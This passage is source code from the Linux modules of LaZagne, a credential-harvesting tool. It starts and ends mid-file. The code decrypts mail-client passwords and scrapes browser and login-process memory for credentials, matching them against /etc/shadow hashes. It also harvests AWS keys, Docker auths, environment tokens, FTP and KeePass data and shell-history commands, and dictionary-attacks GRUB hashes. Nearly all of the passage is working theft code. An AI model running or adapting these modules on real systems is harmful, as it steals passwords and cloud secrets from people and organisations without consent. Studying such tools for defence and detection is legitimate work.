variable found location = environ[var] known_locations.add(location) pwd_found += self.extract_credentials(os.path.join(location, 'git/credentials')) # Filter duplicates return [{'URL': url, 'Login': login, 'Password': password} for url, login, password in set(pwd_found)] ================================================ FILE: Linux/lazagne/softwares/mails/__init__.py ================================================ ================================================ FILE: Linux/lazagne/softwares/mails/clawsmail.py ================================================ #!/usr/bin/env python # -*- encoding: utf-8 -*- # Thanks to https://github.com/b4n/clawsmail-password-decrypter import os import platform import re import traceback from base64 import standard_b64decode as b64decode from lazagne.config.module_info import ModuleInfo from lazagne.config.crypto.pyDes import des, ECB, CBC from lazagne.config.crypto.pyaes import AESModeOfOperationCBC from lazagne.config.crypto.pbkdf2 import pbkdf2 from lazagne.config import homes try: from ConfigParser import ConfigParser # Python 2.7 except ImportError: from configparser import ConfigParser # Python 3 CFB = 0 # To implement class ClawsMail(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'clawsmail', 'mails') self.mode = CFB if 'FreeBSD' in platform.system(): self.mode = ECB self.passcrypt_key = b'passkey0' self.salt = None self.pbkdf2_rounds = 0 self.use_master_passphrase = 0 self.AES_BLOCK_SIZE = 16 self.IVLEN = 16 self.KEYLEN = 32 # AES-256 def get_paths(self): return homes.get(directory=u'.claws-mail') def get_clawsrc_conf(self, path): p = ConfigParser() p.read(os.path.join(path, 'clawsrc')) for s in p.sections(): try: self.salt = b64decode(p.get(s, 'master_passphrase_salt')) self.pbkdf2_rounds = int(p.get(s, 'master_passphrase_pbkdf2_rounds')) self.use_master_passphrase = p.get(s, 'use_master_passphrase') except Exception: self.debug(traceback.format_exc()) def pass_decrypt_old(self, p): """ Decrypts a password from ClawsMail. => old version """ if p[0] == '!': # encrypted password buf = b64decode(p[1:]) """ If mode is ECB or CBC and the length of the data is wrong, do nothing as would the libc algorithms (as they fail early). Yes, this means the password wasn't actually encrypted but only base64-ed. """ if (self.mode in (ECB, CBC)) and ((len(buf) % 8) != 0 or len(buf) > 8192): return buf c = des(self.passcrypt_key, self.mode, b'\0' * 8) return c.decrypt(buf) else: return p # raw password def pass_decrypt_new(self, encrypted_pwd): """ Decrypts a password from ClawsMail. => new version """ # Everything is explained on the doc / code # https://github.com/eworm-de/claws-mail/blob/master/doc/src/password_encryption.txt # https://github.com/eworm-de/claws-mail/blob/aca15d9a473bdfdeef4a572b112ff3679d745247/src/password.c#L409 m = re.match('{(.*),(.*)}(.*)', encrypted_pwd) if m: # rounds and pbkdf2_rounds should be identical mode, rounds, enc_pwd = m.groups() masterkey = pbkdf2(self.passcrypt_key, self.salt, int(rounds), self.KEYLEN) raw = b64decode(enc_pwd) aes = AESModeOfOperationCBC(masterkey, iv='\0' * 16) cleartxt = b"".join([aes.decrypt(raw[i:i + self.AES_BLOCK_SIZE]) for i in range(0, len(raw), self.AES_BLOCK_SIZE)]) plaintext = cleartxt[self.AES_BLOCK_SIZE:] try: return plaintext.decode() except Exception: # Password seems not correct return plaintext def parse_passwordstorerc(self, path, section): found = False accout_number = section.lower().split(':')[1] section_name = 'account:{num}'.format(num=accout_number.strip()) with open(os.path.join(path, 'passwordstorerc')) as f: for line in f.readlines(): if found: return line.strip() if section_name in line: found = True return False def parse_accountrc(self, path): """ Reads passwords from ClawsMail's accountrc file """ p = ConfigParser() p.read(os.path.join(path, 'accountrc')) pwd_found = [] for s in p.sections(): try: address = p.get(s, 'address') account = p.get(s, 'account_name') except Exception: address = '' account = '' try: # Old version password = self.pass_decrypt_old(p.get(s, 'password')) except Exception as e: # Password not stored on accountrc file if not self.salt: self.get_clawsrc_conf(path) if self.use_master_passphrase != '0': self.info('Master password used ! ') continue encrypted_pwd_line = self.parse_passwordstorerc(path, s) if not encrypted_pwd_line: self.info('Password not fount for account {account}'.format(account=s)) continue _, encrypted_pwd = encrypted_pwd_line.split() if encrypted_pwd.startswith('!'): password = self.pass_decrypt_old(encrypted_pwd) else: password = self.pass_decrypt_new(encrypted_pwd) if password: values = {'Login': account, 'URL': address, 'Password': password} else: values = {'Login': account, 'URL': address} pwd_found.append(values) return pwd_found def run(self): all_passwords = [] for path in self.get_paths(): all_passwords += self.parse_accountrc(path) return all_passwords ================================================ FILE: Linux/lazagne/softwares/mails/thunderbird_mails.py ================================================ from lazagne.config.soft_import_module import soft_import mozilla_module_location = "lazagne.softwares.browsers.mozilla", "Mozilla" Mozilla = soft_import(*mozilla_module_location) # Name, path thunderbird_mails = [ (u'thunderbird', u'.thunderbird'), ] thunderbird_mails = [Mozilla(browser_name=name, path=path, category='mails') for name, path in thunderbird_mails] ================================================ FILE: Linux/lazagne/softwares/memory/__init__.py ================================================ ================================================ FILE: Linux/lazagne/softwares/memory/memorydump.py ================================================ #!/usr/bin/env python # -*- coding: UTF8 -*- # Author: Nicolas VERDIER (contact@n1nj4.eu) """ This script uses memorpy to dumps cleartext passwords from browser's memory It has been tested on both windows 10 and ubuntu 16.04 The regex have been taken from the mimikittenz https://github.com/putterpanda/mimikittenz """ from lazagne.config.module_info import ModuleInfo from memorpy import * # password_regex=[ # "(email|log(in)?|user(name)?)=(?P.{1,25})?&.{0,10}?p[a]?[s]?[s]?[w]?[o]?[r]?[d]?=(?P.{1,25})&" # ] # grep to list all URLs (could be useful to find the relation between a user / password and its host) # http_regex=[ # "(?Phttp[s]?:\/\/[a-zA-Z0-9-]{1,61}(\.[a-zA-Z]{2,})+)" # ] password_regex = [ ("Gmail", "&Email=(?P.{1,99})?&Passwd=(?P.{1,99})?&PersistentCookie="), ("Dropbox", "login_email=(?P.{1,99})&login_password=(?P.{1,99})&"), ("SalesForce", "&display=page&username=(?P.{1,32})&pw=(?P.{1,16})&Login="), ("Office365", "login=(?P.{1,32})&passwd=(?P.{1,22})&PPSX="), ("MicrosoftOneDrive", "login=(?P.{1,42})&passwd=(?P.{1,22})&type=.{1,2}&PPFT="), ("PayPal", "login_email=(?P.{1,48})&login_password=(?P.{1,16})&submit=Log\+In&browser_name"), ("awsWebServices", "&email=(?P.{1,48})&create=.{1,2}&password=(?P.{1,22})&metadata1="), ("OutlookWeb", "&username=(?P.{1,48})&password=(?P.{1,48})&passwordText"), ("Slack", "&crumb=.{1,70}&email=(?P.{1,50})&password=(?P.{1,48})"), ("CitrixOnline", "emailAddress=(?P.{1,50})&password=(?P.{1,50})&submit"), ("Xero ", "fragment=&userName=(?P.{1,32})&password=(?P.{1,22})&__RequestVerificationToken="), ("MYOB", "UserName=(?P.{1,50})&Password=(?P.{1,50})&RememberMe="), ("JuniperSSLVPN", "tz_offset=-.{1,6}&username=(?P.{1,22})&password=(?P.{1,22})&realm=.{1,22}&btnSubmit="), ("Twitter", "username_or_email%5D=(?P.{1,42})&session%5Bpassword%5D=(?P.{1,22})&remember_me="), ("Facebook", "lsd=.{1,10}&email=(?P.{1,42})&pass=(?P.{1,22})&(?:default_)?persistent="), ("LinkedIN", "session_key=(?P.{1,50})&session_password=(?P.{1,50})&isJsEnabled"), ("Malwr", "&username=(?P.{1,32})&password=(?P.{1,22})&next="), ("VirusTotal", "password=(?P.{1,22})&username=(?P.{1,42})&next=%2Fen%2F&response_format=json"), ("AnubisLabs", "username=(?P.{1,42})&password=(?P.{1,22})&login=login"), ("CitrixNetScaler", "login=(?P.{1,22})&passwd=(?P.{1,42})"), ("RDPWeb", "DomainUserName=(?P.{1,52})&UserPass=(?P.{1,42})&MachineType"), ("JIRA", "username=(?P.{1,50})&password=(?P.{1,50})&rememberMe"), ("Redmine", "username=(?P.{1,50})&password=(?P.{1,50})&login=Login"), ("Github", "%3D%3D&login=(?P.{1,50})&password=(?P.{1,50})"), ("BugZilla", "Bugzilla_login=(?P.{1,50})&Bugzilla_password=(?P.{1,50})"), ("Zendesk", "user%5Bemail%5D=(?P.{1,50})&user%5Bpassword%5D=(?P.{1,50})"), ("Cpanel", "user=(?P.{1,50})&pass=(?P.{1,50})"), ] browser_list = ["firefox", "iceweasel", "chromium", "chrome"] class MemoryDump(ModuleInfo): def __init__(self): options = {'command': '--memdump', 'action': 'store_true', 'dest': 'memory_dump', 'help': 'retrieve browsers passwords from memory'} ModuleInfo.__init__(self, 'memory_dump', 'memory', options) def run(self): pwd_found = [] for process in Process.list(): if process.get('name', '') in browser_list or any([x in process.get('name', '') for x in browser_list]): try: mw = MemWorker(pid=process.get('pid')) except ProcessException: continue self.info('dumping passwords from %s (pid: %s) ...' % (process.get('name'), str(process.get('pid')))) for _, x in mw.mem_search(password_regex, ftype='groups'): login, password = x[-2:] pwd_found.append( { 'URL': 'Unknown', 'Login': login, 'Password': password } ) return pwd_found ================================================ FILE: Linux/lazagne/softwares/memory/mimipy.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- """ Author: Nicolas VERDIER (contact@n1nj4.eu) Original idea from @huntergregal (https://github.com/huntergregal/mimipenguin) This is a port in python of @huntergregal's bash script mimipenguin.sh with some improvments : - possibility to clean passwords found from memory - possibility to search for any trace of your password in all your processes - possibility to scan a process by pid - add some additional processes to scan like lightDM You can find the bleeding edge version of mimipy here : https://github.com/n1nj4sec/mimipy """ import os import crypt import re import traceback from lazagne.config.lib.memorpy import * from lazagne.config.module_info import ModuleInfo from lazagne.config.constant import python_version class Mimipy(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'mimipy', 'memory') self.shadow_hashes = [] self.rules = [ { "desc": "[SYSTEM - GNOME]", "process": r"gnome-keyring-daemon|gdm-password|gdm-session-worker", "near": r"libgcrypt\.so\..+|libgck\-1\.so\.0|_pammodutil_getpwnam_|gkr_system_authtok", "func": self.test_shadow, }, { "desc": "[SYSTEM - LightDM]", # Ubuntu/xubuntu login screen :) https://doc.ubuntu-fr.org/lightdm "process": r"lightdm", "near": r"_pammodutil_getpwnam_|gkr_system_authtok", "func": self.test_shadow, }, { "desc": "[SYSTEM - SSH Server]", "process": r"/sshd$", "near": r"sudo.+|_pammodutil_getpwnam_", "func": self.test_shadow, }, { "desc": "[SSH Client]", "process": r"/ssh$", "near": r"sudo.+|/tmp/ICE-unix/[0-9]+", "func": self.test_shadow, }, { "desc": "[SYSTEM - VSFTPD]", "process": r"vsftpd", "near": r"^::.+\:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$", "func": self.test_shadow, }, ] regex_type = type(re.compile("^plop$")) # precompile regexes to optimize speed for x in self.rules: if "near" in x: if type(x["near"]) != regex_type: x["near"] = re.compile(x["near"]) if "process" in x: if type(x["process"]) != regex_type: x["process"] = re.compile(x["process"]) self.look_after_size = 1000 * 10 ** 3 self.look_before_size = 500 * 10 ** 3 def get_shadow_hashes(self): hashes = [] with open('/etc/shadow', 'rb') as f: for line in f: tab = line.decode().split(":") if len(tab[1]) > 10: hashes.append((tab[0], tab[1])) return hashes def memstrings(self, mw, start_offset=None, end_offset=None, optimizations=''): for _, x in mw.mem_search(r"([\x20-\x7e]{6,50})[^\x20-\x7e]", ftype='re', start_offset=start_offset, end_offset=end_offset, optimizations=optimizations): yield x def password_list_match(self, password_list, near): for password in password_list: if near.search(password.decode('latin')): return True return False def cleanup_string(self, s): try: ns = "" for c in s: if ord(c) < 0x20 or ord(c) > 0x7e: break ns += c return ns except Exception: return s def test_shadow(self, name, pid, rule, optimizations='nsrx'): self.info('Analysing process %s (%s) for shadow passwords ...' % (name, pid)) password_tested = set() # to avoid hashing the same string multiple times with MemWorker(name=name, pid=pid) as mw: scanned_segments = [] for _, match_addr in mw.mem_search(rule["near"], ftype='re', optimizations=optimizations): password_list = [] total = 0 start = int(match_addr - self.look_after_size) end = int(match_addr + self.look_after_size) for s, e in scanned_segments: if end < s or start > e: continue # no collision elif start >= s and e >= start and end >= e: start = e - 200 # we only scan a smaller region because some of it has already been scanned scanned_segments.append((start, end)) for x in self.memstrings(mw, start_offset=start, end_offset=end, optimizations=optimizations): password = self.cleanup_string(x.read(type='string', maxlen=51, errors='ignore')) total += 1 password_list.append(password) if len(password_list) > 40: password_list = password_list[1:] if self.password_list_match(password_list, rule["near"]): for p in password_list: if p not in password_tested: password_tested.add(p) for user, h in self.shadow_hashes: if crypt.crypt(p.decode('latin'), h) == h: p = p if python_version == 2 else p.decode() yield (rule["desc"], user, p) def mimipy_loot_passwords(self, optimizations='nsrx'): self.shadow_hashes = self.get_shadow_hashes() for procdic in Process.list(): name = procdic["name"] pid = int(procdic["pid"]) for rule in self.rules: if re.search(rule["process"], name): try: for t, u, p in rule["func"](name, pid, rule, optimizations=optimizations): yield (t, name, u, p) except Exception: self.debug(traceback.format_exc()) def run(self): if os.getuid() != 0: self.info('You need sudo privileges') return pwd_found = [] for t, process, user, password in self.mimipy_loot_passwords(optimizations="nsrx"): pwd_found.append({ 'Process': str(process), 'Login': str(user), 'Password': str(password), }) return pwd_found ================================================ FILE: Linux/lazagne/softwares/sysadmin/__init__.py ================================================ # -*- coding: utf-8 -*- ================================================ FILE: Linux/lazagne/softwares/sysadmin/apachedirectorystudio.py ================================================ # -*- coding: utf-8 -*- from xml.etree.ElementTree import parse from lazagne.config.module_info import ModuleInfo from lazagne.config.constant import * from lazagne.config import homes import os class ApacheDirectoryStudio(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'apachedirectorystudio', 'sysadmin') # Interesting XML attributes in ADS connection configuration self.attr_to_extract = ["host", "port", "bindPrincipal", "bindPassword", "authMethod"] def extract_connections_credentials(self): """ Extract all connection's credentials. :return: List of dict in which one dict contains all information for a connection. """ repos_creds = [] for connection_file_directory in homes.get(directory=u'.ApacheDirectoryStudio'): connection_file_location = os.path.join(connection_file_directory, u'.metadata/.plugins/org.apache.directory.studio.connection.core/connections.xml') if os.path.isfile(connection_file_location): try: connections = parse(connection_file_location).getroot() connection_nodes = connections.findall(".//connection") for connection_node in connection_nodes: creds = {} for connection_attr_name in connection_node.attrib: if connection_attr_name in self.attr_to_extract: creds[connection_attr_name] = connection_node.attrib[connection_attr_name].strip() if creds: repos_creds.append(creds) except Exception as e: self.error(u"Cannot retrieve connections credentials '%s'" % e) return repos_creds def run(self): """ Main function """ # Extract all available connections credentials repos_creds = self.extract_connections_credentials() # Parse and process the list of connections credentials pwd_found = [] for creds in repos_creds: pwd_found.append({ "Host" : creds["host"], "Port" : creds["port"], "Login" : creds["bindPrincipal"], "Password" : creds["bindPassword"], "AuthenticationMethod" : creds["authMethod"] }) return pwd_found ================================================ FILE: Linux/lazagne/softwares/sysadmin/aws.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- import os from lazagne.config.module_info import ModuleInfo from lazagne.config import homes try: from ConfigParser import ConfigParser # Python 2.7 except ImportError: from configparser import ConfigParser # Python 3 class Aws(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'aws', 'sysadmin') def get_paths(self): return homes.get(file=os.path.join('.aws', 'credentials')) def get_creds(self, path): try: parser = ConfigParser() parser.read(path) except Exception: return for section in parser.sections(): try: key = parser.get(section, 'aws_access_key_id') secret = parser.get(section, 'aws_secret_access_key') yield section, key, secret except Exception: continue def run(self): all_passwords = [] for path in self.get_paths(): for section, key, secret in self.get_creds(path): all_passwords.append({ 'ID': key, 'KEY': secret, 'Service': 'AWS', 'Name': section }) return all_passwords ================================================ FILE: Linux/lazagne/softwares/sysadmin/cli.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- import psutil import pwd import os from lazagne.config.module_info import ModuleInfo from lazagne.config import homes try: from ConfigParser import ConfigParser # Python 2.7 except ImportError: from configparser import ConfigParser # Python 3 class Cli(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'cli', 'sysadmin') def get_files(self): known = set() for user, histfile in homes.users(file=['.history', '.sh_history', '.bash_history', '.zhistory']): yield user, histfile known.add(histfile) try: for process in psutil.process_iter(): try: environ = process.environ() user = process.username() except Exception: continue if 'HISTFILE' not in environ: continue histfile = environ['HISTFILE'] if histfile in ('/dev/zero', '/dev/null'): continue if histfile.startswith('~/'): try: home = pwd.getpwuid(process.uids().effective).pw_dir except Exception: continue histfile = os.path.join(home, histfile[2:]) if os.path.isfile(histfile) and not histfile in known: yield user, histfile known.add(histfile) except AttributeError: # Fix AttributeError: 'module' object has no attribute 'process_iter' pass def get_lines(self): known = set() for user, plainfile in self.get_files(): try: with open(plainfile) as infile: for line in infile.readlines(): line = line.strip() if line.startswith('#'): continue try: int(line) continue except Exception: pass line = ' '.join(x for x in line.split() if x) if line not in known: yield user, line known.add(line) except Exception: pass for user, histfile in homes.users(file='.local/share/mc/history'): parser = ConfigParser() try: parser.read(histfile) except Exception: continue try: for i in parser.options('cmdline'): line = parser.get('cmdline', i) if line not in known: yield user, line known.add(line) except Exception: pass def suspicious(self, user, line): markers = [ ('sshpass', '-p'), ('chpasswd',), ('openssl', 'passwd'), ('sudo', '-S'), ('mysql', '-p'), ('psql', 'postgresql://'), ('pgcli', 'postgresql://'), ('ssh', '-i'), ('sqlplus', '/'), ('xfreerdp', '/p'), ('vncviewer', 'passwd'), ('vncviewer', 'PasswordFile'), ('mount.cifs', 'credentials'), ('pass=',), ('smbclient',), ('ftp', '@'), ('wget', '@'), ('curl', '@'), ('curl', '-u'), ('wget', '-password'), ('rdesktop', '-p'), ] for marker in markers: if all((x in line) for x in marker): yield { 'User': user, 'Cmd': line } def run(self): all_cmds = [] for user, line in self.get_lines(): for cmd in self.suspicious(user, line): all_cmds.append(cmd) return all_cmds ================================================ FILE: Linux/lazagne/softwares/sysadmin/docker.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- import json import os from lazagne.config.module_info import ModuleInfo from lazagne.config import homes class Docker(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'docker', 'sysadmin') def get_paths(self): return homes.get(file=os.path.join('.docker', 'config.json')) def get_creds(self, path): try: with open(path) as config: config = json.load(config) if 'auths' not in config: return for hub, auth in config['auths'].iteritems(): user, password = auth['auth'].decode('base64').split(':', 1) yield hub, user, password except Exception: return def run(self): all_passwords = [] for path in self.get_paths(): for hub, user, password in self.get_creds(path): all_passwords.append( { 'User': user, 'Password': password, 'Hub': hub, } ) return all_passwords ================================================ FILE: Linux/lazagne/softwares/sysadmin/env_variable.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- import psutil from lazagne.config.module_info import ModuleInfo try: from urllib.parse import urlparse except ImportError: from urlparse import urlparse class Env_variable(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'Environment variables', 'sysadmin') def run(self): pwd_found = [] known_proxies = set() known_tokens = set() blacklist = ( 'PWD', 'OLDPWD', 'SYSTEMD_NSS_BYPASS_BUS', 'SYSTEMD_NSS_DYNAMIC_BYPASS' ) proxies = ( 'http_proxy', 'https_proxy', 'HTTP_Proxy', 'HTTPS_Proxy', 'HTTP_PROXY', 'HTTPS_PROXY' ) tokens = ( ('DigitalOcean', { 'ID': None, 'KEY': 'DIGITALOCEAN_ACCESS_TOKEN', }), ('DigitalOcean', { 'ID': None, 'KEY': 'DIGITALOCEAN_API_KEY' }), ('AWS', { 'ID': 'AWS_ACCESS_KEY_ID', 'KEY': 'AWS_SECRET_ACCESS_KEY', }), ('AWS', { 'ID': 'EC2_ACCESS_KEY', 'KEY': 'EC2_SECRET_KEY' }), ('GitHub', { 'ID': 'GITHUB_CLIENT', 'KEY': 'GITHUB_SECRET' }), ('GitHub', { 'ID': None, 'KEY': 'GITHUB_TOKEN', }), ('OpenStack', { 'ID': 'OS_USERNAME', 'KEY': 'OS_PASSWORD' }) ) try: for process in psutil.process_iter(): try: environ = process.environ() except Exception: continue for var in proxies: if var not in environ or environ[var] in known_proxies: continue proxy = environ[var] known_proxies.add(proxy) try: parsed = urlparse.urlparse(proxy) except Exception: continue if parsed.username and parsed.password: pw = { 'Login': parsed.username, 'Password': parsed.password, 'Host': parsed.hostname, } if parsed.port: pw.update({ 'Port': parsed.port }) pwd_found.append(pw) for token, kvars in tokens: if not kvars['KEY'] in environ: continue secret = environ[kvars['KEY']] if secret in known_tokens: continue pw = { 'Service': token, 'KEY': secret } if kvars['ID'] and kvars['ID'] in environ: pw.update({'ID': environ[kvars['ID']]}) pwd_found.append(pw) known_tokens.add(secret) for i in environ: for t in ['passwd', 'pwd', 'pass', 'password']: if (t.upper() in i.upper()) and (i.upper() not in blacklist): pwd_found.append({ 'Login': i, 'Password': environ[i] }) return pwd_found except AttributeError: # Fix AttributeError: 'module' object has no attribute 'process_iter' pass ================================================ FILE: Linux/lazagne/softwares/sysadmin/filezilla.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- import os import base64 from xml.etree.cElementTree import ElementTree from lazagne.config.module_info import ModuleInfo from lazagne.config import homes class Filezilla(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'filezilla', 'sysadmin') def run(self): pwd_found = [] for xml_file in homes.get(file=[ os.path.join(d, f) for d in ('.filezilla', '.config/filezilla') for f in ('sitemanager.xml', 'recentservers.xml', 'filezilla.xml') ]): if os.path.exists(xml_file): tree = ElementTree(file=xml_file) servers = tree.findall('Servers/Server') if tree.findall('Servers/Server') else tree.findall( 'RecentServers/Server') for server in servers: host = server.find('Host') port = server.find('Port') login = server.find('User') password = server.find('Pass') if host is not None and port is not None and login is not None: values = { 'Host': host.text, 'Port': port.text, 'Login': login.text, } if password is not None: if 'encoding' in password.attrib and password.attrib['encoding'] == 'base64': values['Password'] = base64.b64decode(password.text) else: values['Password'] = password.text pwd_found.append(values) return pwd_found ================================================ FILE: Linux/lazagne/softwares/sysadmin/fstab.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- import os from lazagne.config.module_info import ModuleInfo class Fstab(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'fstab', 'sysadmin') def run(self): pwd_found = [] path = '/etc/fstab' if os.path.exists(path): try: with open(path) as fstab: for line in fstab: line = line.strip() if not line or line.startswith('#'): continue filesystem, mount_point, _type, options, dump, _pass = line.split() if 'pass' in options or 'cred' in options: pwd_found.append({ 'Filesystem': filesystem, 'Mount Point': mount_point, 'Type': _type, 'Password': options }) except IOError as e: self.debug(e.strerror) return pwd_found ================================================ FILE: Linux/lazagne/softwares/sysadmin/gftp.py ================================================ # -*- coding: utf-8 -*- from lazagne.config.module_info import ModuleInfo from lazagne.config.constant import * from lazagne.config import homes import os try: from ConfigParser import RawConfigParser # Python 2.7 except ImportError: from configparser import RawConfigParser # Python 3 class gFTP(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'gftp', 'sysadmin') self.attr_to_extract = ["host", "port", "username", "password", "protocol", "account", "entry"] def decode_password(self, encoded_pass): """ Password is offuscated: first char is a $. Then each char from the password is converted in hex and encoded regarding its value """ decoded_pass = "" #removing the first char ($) encoded_pass = encoded_pass[1:] password_offuscation_table = ['A', 'E', 'I', 'M', 'Q', 'U', 'Y', ']', 'a', 'e', 'i', 'm', 'q', 'u', 'y', '}'] chars = [encoded_pass[i:i + 2] for i in range(0, len(encoded_pass), 2)] for char in chars: decoded_pass += chr(password_offuscation_table.index(char[0]) * 16 + password_offuscation_table.index(char[1])) return decoded_pass def get_parameter(self, name, file_content): """ Get the parameter name in a file (file_content) """ return file_content.partition(name)[2].partition('\n')[0][1:] def run(self): """ Main function """ # Extract all available connections credentials pwd_found = [] for connection_file_directory in homes.get(directory=u'.gftp'): connection_file_location = os.path.join(connection_file_directory, u'bookmarks') if os.path.isfile(connection_file_location): cp = RawConfigParser() cp.read(connection_file_location) for elmt in cp.sections(): username = cp.get(elmt, "username") if username != "anonymous": host = cp.get(elmt, "hostname") port = cp.get(elmt, "port") protocol = cp.get(elmt, "protocol") password = self.decode_password(cp.get(elmt, "password")) account =cp.get(elmt, "account") pwd_found.append({ 'Entry': "Server", 'Host': host, 'Username': username, 'Password': password, 'Port': port, 'Protocol': protocol, 'Account': account, }) # Extract Proxy data from another file connection_file_location = os.path.join(connection_file_directory, u'gftprc') if os.path.isfile(connection_file_location): preferences = open(connection_file_location, 'r').read() # FTP Proxy ftp_proxy_host = self.get_parameter("ftp_proxy_host", preferences) if ftp_proxy_host != "": ftp_proxy_port = self.get_parameter("ftp_proxy_port", preferences) ftp_proxy_username = self.get_parameter("ftp_proxy_username", preferences) ftp_proxy_password = self.get_parameter("ftp_proxy_password", preferences) ftp_proxy_account = self.get_parameter("ftp_proxy_account", preferences) if ftp_proxy_username != "" and ftp_proxy_password != "": pwd_found.append({ 'Entry': 'FTP Proxy', 'Protocol': 'FTP', 'Host': ftp_proxy_host, 'Port': ftp_proxy_port, 'Username': ftp_proxy_username, 'Password': ftp_proxy_password, 'Account': ftp_proxy_account }) # HTTP Proxy http_proxy_host = self.get_parameter("http_proxy_host", preferences) if http_proxy_host != "": http_proxy_port = self.get_parameter("http_proxy_port", preferences) http_proxy_username = self.get_parameter("http_proxy_username", preferences) http_proxy_password = self.get_parameter("http_proxy_password", preferences) http_proxy_account = self.get_parameter("http_proxy_account", preferences) if http_proxy_username != "" and http_proxy_password != "": pwd_found.append({ 'Entry': "HTTP Proxy", 'Protocol': "HTTP", 'Host': http_proxy_host, 'Port': http_proxy_port, 'Username': http_proxy_username, 'Password': http_proxy_password, 'Account': http_proxy_account }) return pwd_found ================================================ FILE: Linux/lazagne/softwares/sysadmin/grub.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- import crypt import os from lazagne.config.module_info import ModuleInfo from lazagne.config.dico import get_dic class Grub(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'grub', 'sysadmin') def dictionary_attack(self, crypt_pwd): dic = get_dic() # By default 500 most famous passwords are used for the dictionary attack if '$' not in crypt_pwd: # Either malformed or old bcrypt password return False hash_type = crypt_pwd.split("$")[1] hash_algo = { '1': 'MD5', } # For Debug information for h_type in hash_algo: if h_type == hash_type: self.debug('[+] Hash type {algo} detected ...'.format(algo=hash_algo[h_type])) real_salt = '${hash_type}${salt}$'.format(hash_type=hash_type, salt=crypt_pwd.split("$")[2]) # -------------------------- Dictionary attack -------------------------- self.info('Dictionary Attack on the hash !!! ') try: for word in dic: try: crypt_word = crypt.crypt(word, real_salt) if crypt_word == crypt_pwd: return word except Exception as e: pass except (KeyboardInterrupt, SystemExit): self.debug(u'Dictionary attack interrupted') return False def run(self): pwd_found = [] grub_conf_files = [u'/boot/grub/menu.lst', u'/boot/grub/grub.conf', u'/boot/grub/grub.cfg'] for grub_file in grub_conf_files: if os.path.exists(grub_file): conf = open(grub_file).read() user, password = '', '' if conf.partition('password --md5 ')[1] == 'password --md5 ': hash = conf.partition('password --md5 ')[2].partition('\n')[0] result = self.dictionary_attack(hash) if result: pwd_found.append({ 'Password': result }) else: # No clear text password found - save hash pwd_found.append({ 'Hash': hash }) elif conf.partition('password ')[1] == 'password ': password = conf.partition('password ')[2].partition(' ')[2].partition('\n')[0] pwd_found.append({ 'Login': user, 'Password': password }) elif conf.partition('password_pbkdf2 ')[1] == 'password_pbkdf2 ': user = conf.partition('password_pbkdf2 ')[2].partition(' ')[0] hash = conf.partition('password_pbkdf2 ')[2].partition(' ')[2].partition('\n')[0] pwd_found.append({ 'Login': user, 'Hash': hash }) return pwd_found ================================================ FILE: Linux/lazagne/softwares/sysadmin/keepassconfig.py ================================================ # -*- coding: utf-8 -*- from lazagne.config.module_info import ModuleInfo from lazagne.config.constant import * from lazagne.config import homes import os try: from ConfigParser import RawConfigParser # Python 2.7 except ImportError: from configparser import RawConfigParser # Python 3 from xml.etree.ElementTree import parse class KeePassConfig(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'keepassconfig', 'sysadmin') self.attr_to_extract = ["Keyfile", "Database"] def run(self): """ Main function """ pwd_found = [] #KeepassX for connection_file_directory in homes.get(directory=u'.config/keepassx'): #Used to replace ./ by the home path home = connection_file_directory.partition('./config')[0] connection_file_location = os.path.join(connection_file_directory, u'config.ini') if os.path.isfile(connection_file_location): cp = RawConfigParser() cp.read(connection_file_location) try: database = cp.get("Options", "LastFile").replace('./', home) keyfile = cp.get("Options", "LastKeyLocation").replace('./', home) keytype = cp.get("Options", "LastKeyType") if keytype == "Password": keyfile = "No keyfile needed" elif keyfile == "": keyfile = "No keyfile found" pwd_found.append({ 'Keyfile': keyfile, 'Database': database }) except: pass #Keepass2 for connection_file_directory in homes.get(directory=u'.config/KeePass'): home = connection_file_directory.partition('./config')[0] connection_file_location = os.path.join(connection_file_directory, u'KeePass.config.xml') if os.path.isfile(connection_file_location): try: connections = parse(connection_file_location).getroot() connection_nodes = connections.findall(".//Association") for connection_node in connection_nodes: database = connection_node.find('DatabasePath').text.replace("../../../", home) keyfile = connection_node.find('KeyFilePath').text.replace("../../../", home) pwd_found.append({ 'Keyfile': keyfile, 'Database': database }) except: pass try: connections = parse(connection_file_location).getroot() connection_nodes = connections.findall(".//LastUsedFile") for connection_node in connection_nodes: database = connection_node.find('Path').text.replace("../../../", home) already_in_pwd_found = 0 for elmt in pwd_found: if database == elmt['Database']: already_in_pwd_found = 1 if already_in_pwd_found == 0: pwd_found.append({ 'Keyfile': "No keyfile found", 'Database': database }) except: pass try: connections = parse(connection_file_location).getroot() connection_nodes = connections.findall(".//ConnectionInfo") for connection_node in connection_nodes: database = connection_node.find('Path').text.replace("../../../", home) already_in_pwd_found = 0 for elmt in pwd_found: if database == elmt['Database']: already_in_pwd_found = 1 if already_in_pwd_found == 0: pwd_found.append({ 'Keyfile': "No keyfile found", 'Database': database }) except: pass return pwd_found ================================================ FILE: Linux/lazagne/softwares/sysadmin/rclone.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- # This code has been taken from https://github.com/maaaaz/rclonedeobscure # All credits to maaaaz from lazagne.config.module_info import ModuleInfo from lazagne.config import homes import base64 import json import os try: from ConfigParser import RawConfigParser # Python 2.7 except ImportError: from configparser import RawConfigParser # Python 3 from Crypto.Cipher import AES class Rclone(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'rclone', 'sysadmin') # -- 